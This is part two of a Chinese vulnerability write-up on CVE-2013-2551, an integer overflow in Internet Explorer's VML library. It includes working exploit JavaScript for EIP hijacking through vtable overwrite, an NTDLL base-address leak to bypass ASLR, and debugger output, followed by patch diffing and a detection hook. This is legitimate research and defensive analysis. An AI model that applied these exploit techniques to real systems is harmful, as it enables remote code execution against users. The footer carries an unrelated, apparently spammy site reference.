CVE-2013-2551样本分析及漏洞利用和防御（下篇）

3.4 劫持EIP

劫持EIP的源码大致如下:

for (var i=0; i<0x1000; i++){
a2[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a2[i];
CollectGarbage();
}
locations.reload();

由于0x0c0c0c0c在内存中存在太多，不方便搜索，将其修改为一个比较特殊的值0x0eeeee0e，然后加入弹框

vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0eeeee0e;
alert("pause");

使用windbg附加运行，在弹框后暂停，然后搜索数值0x0eeeee0e

0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e
01a25c49  0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc  ....%......t....
01a2ca8a  0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a  ....%..[.(.t....
01a2cfc0  0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00  ................
12b60280  0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12  ....P........<..

根据对其，可以排除第一个搜索结果，由于搜索到的结果不多，可以根据其分布在数组{1，2，3，4}之后寻找

经过在内存中往上寻找数组，地址0x12b60280符合条件

查看附近内存布局

我们看到，一个COAShape对象紧接着一个COAReturnedPointsForAnchor对象，它们占用的内存空间都是一样的。根据源码，我们可以知道，通过布置跟对象大小相同的数组，利用溢出，定位到后一个对象(此处是COAShape对象)的虚表

查看COAShape虚表的内容

此时我们知道虚表指针被改写了

对0x0eeeee0e下执行断点，中断时查看函数的调用关系

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c
020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf
020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56
...(lines have been omitted)...

查看上层调用

mshtml!ClearInterfaceFn:
6a23f202 8b08            mov     ecx,dword ptr [eax]
6a23f204 832000          and     dword ptr [eax],0
6a23f207 85c9            test    ecx,ecx
6a23f209 7501            jne     mshtml!ClearInterfaceFn+0x9 (6a23f20c)
6a23f20b c3              ret
6a23f20c 8b01            mov     eax,dword ptr [ecx]
6a23f20e 51              push    ecx
6a23f20f ff5008          call    dword ptr [eax+8]
6a23f212 ebf7            jmp     mshtml!ClearInterfaceFn+0xf (6a23f20b)

地址0x6a23f20f是在调用虚表第二项，正常情况是Release函数，溢出后，劫持了EIP

构造的利用样本将在此处执行换栈操作

0:005> u poi(0c0c0c0c + 8) L1
ntdll!A_SHAInit+0x2e:
77865789 94              xchg    eax,esp

3.5 不使用0x7ffe0300泄露NTDLL.DLL基址过ASLR

使用固定偏移泄露NTDLL.DLL的基址在打过补丁的Windows 7系统上已经不能使用了，实际利用中局限性比较大。我们可以考虑泄露其他模块的基址，或者换种思路泄露NTDLL.DLL基址

对于已有的利用代码来讲换种方式泄露NTDLL.DLL基址对代码的改动量比较小

查看漏洞模块自身的导入表信息

好吧，没有导入NTDLL.DLL的函数。那么我也比较懒，泄露VGX.DLL模块的基址，通过导入表找到KERNEL32.DLL，针对其中某个函数到NTDLL.DLL基址的固定偏移泄露NTDLL.DLL基址。简单可行，源码改动小。当然，缺点是VGX.DLL模块版本限定太死

源码大致如下：

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length      = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft   = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
 /////////////////////////////////////////////////////////
 //offset to PE
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
 var leak = a[i].marginLeft;
 
 pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find import directory
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
 var leak = a[i].marginLeft;
 
 import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 //find kernel32.dll
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
 var leak = a[i].marginLeft;
 
 thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find first function address
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
 var leak = a[i].marginLeft;
 
 first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 ntdll_base = first_function_addr - 0x47760;
  
 //return original value
 vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
 vml1.dashstyle.array.length = length_orig;
 /////////////////////////////////////////////////////////
 alert("base of ntdll.dll : " + ntdll_base.toString(16));
 break;
 }
 }
 return ntdll_base;

0x4 漏洞检测

通过本文第二部分分析，已经知道在vgx!ORG::CElements函数内造成溢出

源码中的关键溢出语句：

vml1.dashstyle.array.length = 0 - 1;

从数据关系的角度来看，银行柜台办理存款业务时，柜员收到现金的时候，应该先验钞还是先办理存款登记再验证钞票真伪？答案显然是前者。那么我们的检测点也应该提前到数据输入的地方。

4.1 根据微软安全公告下载补丁

根据微软的安全公告MS13-037下载到补丁KB2829530，补丁前后的VGX.DLL文件版本分别为

• [补丁前]：8.0.7601.18106

• [补丁后]：8.0.7601.18126

4.2 使用Bindiff对比文件

使用Bindiff对比vgx.dll之后，根据符号名称猜测是在COALineDashStyleArray::put_length函数进行的修补

进行对比

通过Windbg调试验证

走到判断数值是否小于0

G一下，利用样本正常运行，没有触发漏洞

我们可以钩取COALineDashStyleArray::put_length函数前五字节，插入判断代码，判断参数的值是否小于0，如果小于0提示用户触发CVE-2013-2551,否则还原流程

检测代码编写略

检测效果截图

0x5 总结

该漏洞属于整数溢出漏洞。其漏洞原因在于VGX.DLL模块中处理dashstyle.array.length属性时未对输入参数进行有效检查。利用溢出造成任意地址读写，改写虚表指针劫持EIP获得任意代码执行的能力

根据参考代码，笔者通过泄露NTDLL.DLL模块基址的方式绕过ASLR，当然，此次绕过的方式并不具有通用性，漏洞利用技巧也是笔者需要更多学习、思考以及参考野外样本利用方式待以提升的地方

编码对该漏洞利用样本进行动态检测，从数据关系的角度来看，一定是在获取外部数据的位置部署检测代码。笔者对关键函数进行API HOOK，一旦外部数据不合法立即提示给用户

0x6 参考资料

[1] 

[2] 

[3]  

[4] 

[5] Yang Yu《DEP-ASLR bypass without ROP-JIT》

*本文为 华兴永恒安全团队发布，如若转载，请注明来源新葡萄88805：www.cyby120.com